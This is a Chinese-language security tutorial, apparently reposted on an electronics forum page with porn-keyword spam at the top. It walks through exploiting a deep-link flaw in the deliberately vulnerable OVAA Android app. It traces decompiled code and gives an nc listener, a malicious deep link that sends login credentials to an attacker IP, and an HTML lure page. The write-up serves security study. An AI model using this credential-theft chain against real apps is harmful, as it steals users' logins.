一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

結(jié)合Deep Link加載任意URL竊取目標(biāo)APP用戶憑證

冬至子 ? 來(lái)源:聞雞習(xí)武 ? 作者:吾奶習(xí)武之人 ? 2023-05-20 14:11 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

在正式開(kāi)始漏洞利用之前,我們需要先來(lái)了解一下什么是deep link。

Deep Link簡(jiǎn)介

Deep Link 是一種允許應(yīng)用程序通過(guò) URL 直接響應(yīng)特定頁(yè)面或功能的技術(shù)。這是通過(guò)操作系統(tǒng)和應(yīng)用程序之間的一種約定來(lái)實(shí)現(xiàn)的。

Deep Link 結(jié)構(gòu):

圖片

Android 中,當(dāng)安裝一個(gè)應(yīng)用程序時(shí),該應(yīng)用程序的 manifest 文件(AndroidManifest.xml)會(huì)注冊(cè)到系統(tǒng)中。這個(gè)文件包含了該應(yīng)用程序的所有組件信息,包括 activities、services、broadcast receivers 等。對(duì)于 deep linking,開(kāi)發(fā)者可以在 manifest 文件中定義一個(gè)或多個(gè) intent filters,這些 intent filters 定義了哪些 URL 可以啟動(dòng)哪些 activities。

當(dāng)用戶點(diǎn)擊一個(gè)符合某個(gè)應(yīng)用程序 intent filter 規(guī)則的 URL 時(shí),Android 系統(tǒng)就會(huì)啟動(dòng)該應(yīng)用程序的對(duì)應(yīng) activity。具體的規(guī)則是通過(guò) intent filter 中的 data 元素來(lái)定義的,這個(gè)元素可以指定 URL 的 scheme、host、path 等信息。如果 URL 符合這些規(guī)則,那么就會(huì)啟動(dòng)對(duì)應(yīng)的 activity。

例如,下面這個(gè)示例:

<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="oversecured" android:host="ovaa"/>
            <span class="hljs-name"intent-filter>
        <span class="hljs-name"activity>

通過(guò)分析上面的示例代碼,我們就可以知道,在安卓系統(tǒng)中任何以"oversecured://ovaa"開(kāi)頭的URL都會(huì)啟動(dòng)其所對(duì)應(yīng)的oversecured.ovaa.activities.DeeplinkActivity。

總的來(lái)說(shuō),深度鏈接允許開(kāi)發(fā)者通過(guò) URL 直接打開(kāi)應(yīng)用程序的特定部分,這對(duì)于用戶體驗(yàn)和應(yīng)用程序間的交互是非常有用的。

查找Deep Link

在Android系統(tǒng)中,應(yīng)用需要在AndroidManifest.xml文件中聲明它們能處理的Deep Link。因此,我們可以通過(guò)使用jadx等反編譯工具對(duì)目標(biāo)APK進(jìn)行反編譯,在反編譯后的AndroidManifest.xml文件中搜索關(guān)鍵字:"android:scheme"

圖片

一般搜索結(jié)果所在的data標(biāo)簽部分,就包括了Deep Link Url所需的必要組成部分:

  • scheme: oversecured,
  • host: ovaa

轉(zhuǎn)換成url就是:oversecured://ovaa

那這個(gè)時(shí)候,找到了APP可以處理的Deep Link,我們可以先來(lái)嘗試一下,在安卓系統(tǒng)中觸發(fā)訪問(wèn)我們找到的這個(gè)Deep Link:oversecured://ovaa。

1)在PC上使用python在本地開(kāi)啟一個(gè)簡(jiǎn)易的web服務(wù)器

python -m http.server

圖片

2)在本地服務(wù)器根目錄放置一個(gè)html頁(yè)面文件

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa">點(diǎn)擊這里可以打開(kāi)指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

這個(gè)頁(yè)面的主要目的就是,當(dāng)在手機(jī)瀏覽器遠(yuǎn)程訪問(wèn)html頁(yè)面時(shí),點(diǎn)擊a標(biāo)簽對(duì)應(yīng)的超鏈接,就可以在安卓系統(tǒng)中觸發(fā)對(duì)Deep Link的訪問(wèn)

3)在手機(jī)瀏覽器遠(yuǎn)程訪問(wèn)html頁(yè)面,點(diǎn)擊a標(biāo)簽對(duì)應(yīng)的超鏈接

oversecured://ovaa被訪問(wèn)時(shí),DeeplinkActivity將會(huì)被瞬間打開(kāi)然后立即關(guān)閉,我們可能只會(huì)看到一個(gè)閃爍的屏幕,看不到具體的Activity內(nèi)容。

?通過(guò)分析DeeplinkActivity代碼可以知道:直接訪問(wèn)oversecured://ovaa,Android系統(tǒng)將會(huì)匹配到DeeplinkActivity并啟動(dòng)它,因?yàn)槟繕?biāo)APP的AndroidManifest.xml中定義的intent-filter聲明了這個(gè)Activity可以處理scheme為"oversecured"和host為"ovaa"的URI。

DeeplinkActivityonCreate方法中,它會(huì)獲取到傳入的Intent,檢查Intent的action是否為"android.intent.action.VIEW",然后獲取并處理Intent的data(即URI)。因此,當(dāng)直接訪問(wèn)oversecured://ovaa,這個(gè)Activity將會(huì)被啟動(dòng),并且在onCreate方法中調(diào)用processDeeplink方法。

但是,因?yàn)槲覀冎苯釉L問(wèn)的URI沒(méi)有路徑(path),所以在processDeeplink方法中,uri.getPath()將返回null,所有的條件分支都不會(huì)被執(zhí)行,所以不會(huì)有任何額外的操作。

然后,onCreate方法會(huì)調(diào)用finish()方法來(lái)結(jié)束這個(gè)Activity。所以,從咱們的用戶的視角來(lái)看,oversecured://ovaa被訪問(wèn)時(shí),DeeplinkActivity將會(huì)被瞬間打開(kāi)然后立即關(guān)閉,用戶可能只會(huì)看到一個(gè)閃爍的屏幕,看不到具體的Activity內(nèi)容。

?

跟蹤APP對(duì)Deep Link的處理

通過(guò)分析目標(biāo)APP的AndroidManifest.xml,我們知道響應(yīng)oversecured://ovaa的Activity是oversecured.ovaa.activities.DeeplinkActivity,因此我們可以通過(guò)反編譯工具查看DeeplinkActivity相關(guān)的代碼。

package oversecured.ovaa.activities;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;

/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
    private static final int URI_GRANT_CODE = 1003;
    private LoginUtils loginUtils;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        Uri uri;
        super.onCreate(savedInstanceState);
        this.loginUtils = LoginUtils.getInstance(this);
        Intent intent = getIntent();
        if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
            processDeeplink(uri);
        }
        finish();
    }

    private void processDeeplink(Uri uri) {
        String url;
        String host;
        if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
            String path = uri.getPath();
            if ("/logout".equals(path)) {
                this.loginUtils.logout();
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/grant_uri_permissions".equals(path)) {
                Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
                if (getPackageManager().resolveActivity(i, 0) != null) {
                    startActivityForResult(i, 1003);
                }
            } else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
                Intent i2 = new Intent(this, WebViewActivity.class);
                i2.putExtra("url", url);
                startActivity(i2);
            }
        }
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, android.app.Activity
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == -1 && requestCode == 1003) {
            setResult(resultCode, data);
        }
    }
}

通過(guò)分析代碼,我們可以知道:

1)當(dāng)用戶點(diǎn)擊一個(gè)匹配intent filter的deep link URL時(shí),Android系統(tǒng)會(huì)啟動(dòng)對(duì)應(yīng)的activity,并通過(guò)intent傳遞數(shù)據(jù)給這個(gè)activity,此處也就是DeeplinkActivity。當(dāng)DeeplinkActivity被打開(kāi)時(shí),APP首先執(zhí)行的是onCreate方法,開(kāi)發(fā)者在activity的onCreate()方法中通過(guò)getIntent()獲取這個(gè)intent,然后通過(guò)getData()獲取URL

2)獲取到URL后,APP再調(diào)用processDeeplink(uri),接著根據(jù)傳入的uri進(jìn)行一系列處理,主要是通過(guò)條件語(yǔ)句針對(duì)url中不同的path進(jìn)行不同的邏輯處理,通過(guò)代碼可知APP可識(shí)別處理的path是:/logout、/login、/grant_uri_permissions、/webview。

跟蹤APP對(duì)/login路徑的處理

比如當(dāng)我們?cè)L問(wèn)的deep link url是:oversecured://ovaa/login,代碼String path = uri.getPath();得到的就是/login,此時(shí)當(dāng)processDeeplink被調(diào)用時(shí)就會(huì)執(zhí)行以下代碼:

else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            }

通過(guò)代碼String url2 = uri.getQueryParameter("url");可知,APP會(huì)嘗試從deep link中去獲取一個(gè)名字叫做url的參數(shù)值。

比如我們?cè)L問(wèn)的deep link url是:oversecured://ovaa/login?url=http://www.test.com。

如果我們?cè)L問(wèn)的deeplink中有url參數(shù),那APP取到url的值又要干嘛呢?我們繼續(xù)跟蹤

if (url2 != null) {
 this.loginUtils.setLoginUrl(url2);
}

如果APP取到url參數(shù)的值,則將取到的url繼續(xù)傳給setLoginUrl處理

public void setLoginUrl(String url) {
        this.editor.putString(LOGIN_URL_KEY, url).commit();
    }

這段代碼的含義就是調(diào)用 SharedPreferences.EditorputString 方法,將鍵為 LOGIN_URL_KEY 的字符串值設(shè)為 url,然后調(diào)用 commit 方法將這個(gè)改動(dòng)保存到 SharedPreferences 中。這樣,下次應(yīng)用程序啟動(dòng)時(shí),這個(gè) URL 仍然可以被獲取到。

到這里,我們就比較清晰了,獲取到deep link傳遞過(guò)來(lái)的url后,將url的值和LOGIN_URL_KEY這個(gè)鍵進(jìn)行了綁定。就是一個(gè)獲取并保存的操作,那我們繼續(xù)接著往后面的代碼進(jìn)行分析:

當(dāng)if語(yǔ)句執(zhí)行結(jié)束,保存好了url后,APP又啟動(dòng)了一個(gè)新的界面EntranceActivity

startActivity(new Intent(this, EntranceActivity.class));

我們繼續(xù)最終分析EntranceActivity界面的代碼

public class EntranceActivity extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (LoginUtils.getInstance(this).isLoggedIn()) {
            startActivity(new Intent("oversecured.ovaa.action.ACTIVITY_MAIN"));
        } else {
            startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
        }
        finish();
    }
}

這個(gè)EntranceActivity的代碼主要是判斷當(dāng)前是否已登錄或者未登錄,那我們這里繼續(xù)追蹤未登錄的代碼進(jìn)行分析,也就是else代碼塊中的調(diào)用:

startActivity(new Intent("oversecured.ovaa.action.LOGIN"));

在AndroidManifiest.xml文件中搜索“oversecured.ovaa.action.LOGIN”,可以看到對(duì)應(yīng)的是oversecured.ovaa.activities.LoginActivity

image-20230519013229270

繼續(xù)分析LoginActivity中處理登錄的關(guān)鍵函數(shù)processLogin:

public void processLogin(String email, String password) {
        LoginData loginData = new LoginData(email, password);
        Log.d("ovaa", "Processing " + loginData);
        LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
        loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
            @Override // retrofit2.Callback
            public void onResponse(Call<Void> call, Response<Void> response) {
            }

            @Override // retrofit2.Callback
            public void onFailure(Call<Void> call, Throwable t) {
            }
        });
        this.loginUtils.saveCredentials(loginData);
        onLoginFinished();
    }

這段代碼的主要作用就是處理用戶的登錄,是使用 Retrofit 庫(kù)來(lái)與服務(wù)器進(jìn)行通信。

loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback

這段代碼主要就是調(diào)用 loginServicelogin 方法,傳入登錄 URL 和登錄數(shù)據(jù),登錄url是從getLoginUrl函數(shù)獲取,而這個(gè)函數(shù)最終拿到的登錄url就是前面從deeplink中獲取到的url。

public String getLoginUrl() {
        String url = this.preferences.getString(LOGIN_URL_KEY, null);
        if (TextUtils.isEmpty(url)) {
            String url2 = this.context.getString(R.string.login_url);
            this.editor.putString(LOGIN_URL_KEY, url2).commit();
            return url2;
        }
        return url;
    }

那分析到這里,我們就可以知道,APP在處理oversecured://ovaa/login?url=http://www.test.com 這個(gè)deep link的時(shí)候,會(huì)將url的值作為登錄url,然后將用戶輸入的賬號(hào)和密碼作為參數(shù)發(fā)起請(qǐng)求進(jìn)行提交,但是此處的url是攻擊者可控的,從而就導(dǎo)致了可竊取用戶的登錄憑證。

憑證截取

1)攻擊者服務(wù)器監(jiān)聽(tīng)端口,用于接收竊取到的賬號(hào)密碼。

nc -lnvp 8889

圖片

2)根據(jù)分析,構(gòu)造惡意的deep link

oversecured://ovaa/login?url=http://192.168.10.11:8889

3)攻擊者web服務(wù)器放置一個(gè)html頁(yè)面,用于誘導(dǎo)用戶點(diǎn)擊執(zhí)行deeplink

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa/login?url=http://192.168.10.11:8889">點(diǎn)擊這里可以打開(kāi)指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

4)最終竊取賬號(hào)密碼的效果

圖片

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • Android
    +關(guān)注

    關(guān)注

    12

    文章

    3973

    瀏覽量

    130218
  • Web服務(wù)器
    +關(guān)注

    關(guān)注

    0

    文章

    138

    瀏覽量

    24856
  • URL
    URL
    +關(guān)注

    關(guān)注

    0

    文章

    141

    瀏覽量

    15862
  • python
    +關(guān)注

    關(guān)注

    56

    文章

    4827

    瀏覽量

    86706
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    五步玩轉(zhuǎn)低成本高效智能硬件App開(kāi)發(fā)

    [/url]、[url=]iOS[/url]、APICloud等開(kāi)發(fā)平臺(tái),包含完整的Wi-Fi類(lèi)終端設(shè)備App通用功能源碼,集成App開(kāi)發(fā)中
    發(fā)表于 11-01 16:09

    利用Link Node實(shí)現(xiàn)傳感器數(shù)據(jù)在SJ App上的實(shí)時(shí)顯示

    `利用Link No本文主要介紹了怎么利用BLE Sensors Tag結(jié)合Google公司提供的Science Journal App實(shí)現(xiàn)傳感器數(shù)據(jù)的實(shí)時(shí)監(jiān)測(cè)。通過(guò)對(duì)周?chē)鷤鞲袛?shù)據(jù)的監(jiān)測(cè),讀者可以
    發(fā)表于 11-10 22:08

    可以使用憑證生成許可并使用vivado 2016.2加載

    大家好..,我最近從xilinx獲得了一塊zed主板,其中包括一個(gè)vivado設(shè)計(jì)套件2014.2 CD和一張獲取許可證文件的憑證。但我已經(jīng)安裝了vivado最新版本,即2016.2。如果我使用憑證
    發(fā)表于 12-18 10:52

    J-Link不能連接目標(biāo)MCU怎么解決

    J-Link是嵌入式軟件、硬件工程師最常用的工具之一,但是,在使用這個(gè)工具時(shí),也會(huì)遇到各種各樣的問(wèn)題。今天來(lái)給大家講講最常見(jiàn)的一個(gè)問(wèn)題:J-Link不能連接目標(biāo)MCU。J-Link的連
    發(fā)表于 11-04 07:25

    STM32L151VB-A通過(guò)J-Link連接時(shí),顯示無(wú)法連接到目標(biāo)是為什么?

    指揮官連接時(shí),我得到“無(wú)法連接到目標(biāo)”。 據(jù)我了解:https://community.st.com/external-link.jspa?url=https%3A%2F
    發(fā)表于 01-29 06:40

    MCU Link Pro未檢測(cè)到目標(biāo)的原因?

    各位,我需要幫助解決有關(guān) MCU Link pro 探針與基于 iMXRT1021 處理器的目標(biāo)開(kāi)發(fā)板的接口問(wèn)題,系統(tǒng)配置: IDE:MCUXpresso v11.5.0目標(biāo):帶 JTAG 連接器
    發(fā)表于 04-04 07:16

    憑證管理的詳細(xì)設(shè)計(jì)

    憑證管理的詳細(xì)設(shè)計(jì):憑證管理的總體設(shè)計(jì),憑證填制的詳細(xì)設(shè)計(jì),憑證查詢與匯總的詳細(xì)設(shè)計(jì),憑證審核與記賬的詳細(xì)設(shè)計(jì),期末轉(zhuǎn)賬
    發(fā)表于 07-06 07:29 ?0次下載

    URL,URL是什么意思

    URL,URL是什么意思 URL(Uniform Resoure Locator:統(tǒng)一資源定位器)是WWW頁(yè)的地址,它從左到右由下述部分組成: &
    發(fā)表于 03-22 10:53 ?8340次閱讀

    研究人員發(fā)現(xiàn)一個(gè)可竊取AWS憑證的加密貨幣蠕蟲(chóng)

    研究人員近期發(fā)現(xiàn)一個(gè)可以竊取AWS憑證的加密貨幣蠕蟲(chóng)。這是首個(gè)含有AWS特定功能的蠕蟲(chóng),該蠕蟲(chóng)可以竊取本地憑證、掃描錯(cuò)誤配置的Docker平臺(tái)的網(wǎng)絡(luò)。研究人員發(fā)現(xiàn)黑客組織TeamTNT
    的頭像 發(fā)表于 08-26 14:04 ?1808次閱讀
    研究人員發(fā)現(xiàn)一個(gè)可<b class='flag-5'>竊取</b>AWS<b class='flag-5'>憑證</b>的加密貨幣蠕蟲(chóng)

    關(guān)于竊取業(yè)務(wù)數(shù)據(jù)的幾種常見(jiàn)網(wǎng)絡(luò)攻擊類(lèi)型介紹

    首先介紹下用于竊取業(yè)務(wù)數(shù)據(jù)的幾種常見(jiàn)網(wǎng)絡(luò)攻擊類(lèi)型。網(wǎng)絡(luò)攻擊者會(huì)將容易攻擊的網(wǎng)站作為目標(biāo)來(lái)感染用戶并進(jìn)行數(shù)據(jù)竊取。而電子郵件則是網(wǎng)絡(luò)攻擊者最常見(jiàn)的目標(biāo)
    的頭像 發(fā)表于 09-18 11:35 ?3882次閱讀

    詳解英特爾 Xe Max 獨(dú)顯:Deep Link 技術(shù)可讓獨(dú)顯 / 核顯 “交火”

    架構(gòu)的獨(dú)立圖形顯卡,是英特爾進(jìn)軍獨(dú)立顯卡市場(chǎng)戰(zhàn)略的一部分。 IT之家了解到,銳炬 Xe MAX 獨(dú)立顯卡采用英特爾 Deep Link 技術(shù),該技術(shù)作為英特爾 Adaptix 的一部分,支持 PCIe
    的頭像 發(fā)表于 11-02 13:44 ?4494次閱讀

    如何知道APP權(quán)限正在竊取隱私信息?

    這個(gè)權(quán)限我要授予嗎?相信很多用戶在安裝APP時(shí),往往都會(huì)遇到APP索要某一項(xiàng)權(quán)限的情況,有的用戶不太在意,隨手就給通過(guò)了,也有一些用戶比較注
    的頭像 發(fā)表于 02-19 09:18 ?7142次閱讀

    教你輕松J-Link不能連接目標(biāo)MCU的問(wèn)題

    J-Link是嵌入式軟件、硬件工程師最常用的工具之一,但是,在使用這個(gè)工具時(shí),也會(huì)遇到各種各樣的問(wèn)題。 今天來(lái)給大家講講最常見(jiàn)的一個(gè)問(wèn)題:J-Link不能連接目標(biāo)MCU。 J-Link
    的頭像 發(fā)表于 06-30 11:18 ?6609次閱讀
    教你輕松J-<b class='flag-5'>Link</b>不能連接<b class='flag-5'>目標(biāo)</b>MCU的問(wèn)題

    IP知識(shí)百科之URL過(guò)濾

    URL過(guò)濾 URL過(guò)濾是一種針對(duì)用戶URL請(qǐng)求進(jìn)行上網(wǎng)控制的技術(shù),通過(guò)允許或禁止用戶訪問(wèn)某些網(wǎng)頁(yè)資源,達(dá)到規(guī)范上網(wǎng)行為和降低安全風(fēng)險(xiǎn)的目的
    的頭像 發(fā)表于 09-23 11:08 ?5836次閱讀

    AN-2058: ADuCM355用戶引導(dǎo)加載程序

    用戶應(yīng)用程序可以實(shí)現(xiàn)自己的引導(dǎo)加載程序,提供一個(gè)用于現(xiàn)場(chǎng)自我更新的機(jī)制。實(shí)現(xiàn)自己的用戶引導(dǎo)加載程序要求以適當(dāng)?shù)姆绞綐?gòu)建用戶應(yīng)用程序,使其適合
    的頭像 發(fā)表于 06-16 16:31 ?1420次閱讀
    AN-2058: ADuCM355<b class='flag-5'>用戶</b>引導(dǎo)<b class='flag-5'>加載</b>程序